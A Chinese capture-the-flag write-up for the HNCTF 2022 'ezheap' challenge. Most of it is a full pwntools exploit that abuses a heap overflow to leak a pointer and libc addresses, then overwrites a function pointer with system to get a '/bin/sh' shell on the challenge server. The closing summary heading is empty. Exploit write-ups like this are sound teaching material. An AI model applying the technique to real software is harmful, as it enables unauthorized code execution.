简单的堆溢出

Problem: [HNCTF 2022 WEEK4]ezheap

思路

可以进行任意长度溢出
溢出拿到chunk1的值,然后继续溢出拿libc_base system 随后恢复堆成之前的样子同时修改名字为bin/sh 然后puts函数修改成system 这样当show的时候就会直接变成system(“/bin/sh”)

EXP

  from pwn import *
context.log_level = 'debug'
p = remote("node5.anna.nssctf.cn",27862)
#p = process("./ezheap")
e = ELF('./ezheap')
libc = ELF('/home/rick/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def new(idx,size,name,content):
    p.sendafter(b'Choice: \n',str(1))
    p.sendafter(b'Input your idx:\n',str(idx))
    p.sendafter(b'Size:\n',str(size))
    p.sendafter(b'Name: \n',name)
    p.sendafter(b'Content:\n',content)

def free(idx):
    p.sendafter(b'Choice: \n',str(2))
    p.sendafter(b'Input your idx:\n',str(idx))

def show(idx):
    p.sendafter(b'Choice: \n',str(3))
    p.sendafter(b'Input your idx:\n',str(idx))


def edit(idx,size,content):
    p.sendafter(b'Choice: \n',str(4))
    p.sendafter(b'Input your idx:\n',str(idx))
    p.sendafter(b'Size:\n',str(size))
    p.send(content)

new(0,0x20,b'qwq',b'a'*0x20)
new(1,0x20,b'qwq',b'a'*0x20) #0x30+0x30
edit(0,0x30,b'a'*0x30)

show(0)
p.recvuntil(b'a'*0x30)
chunk_idx_1 = u64(p.recv(6).ljust(8,b'\x00'))
log.success("leak chunk_idx_1 =>"+hex(chunk_idx_1))
edit(0,0x50,b'a'*0x50)
show(0)
p.recvuntil(b'a'*0x50)
puts_addr = u64(p.recv(6).ljust(8,b'\x00'))
log.success("leak puts_addr =>"+hex(puts_addr)) 
libc_base = puts_addr - libc.sym["puts"]
log.success("leak libc_base =>"+hex(libc_base))
system_addr = libc_base + libc.sym["system"]
payload = b'a'*0x20 + p64(0) +p64(0x31) +b'/bin/sh\x00'+p64(0)+p64(chunk_idx_1)+p64(0x1)+p64(system_addr)
edit(0,len(payload),payload)
show(1)
#attach(p)

p.interactive()

总结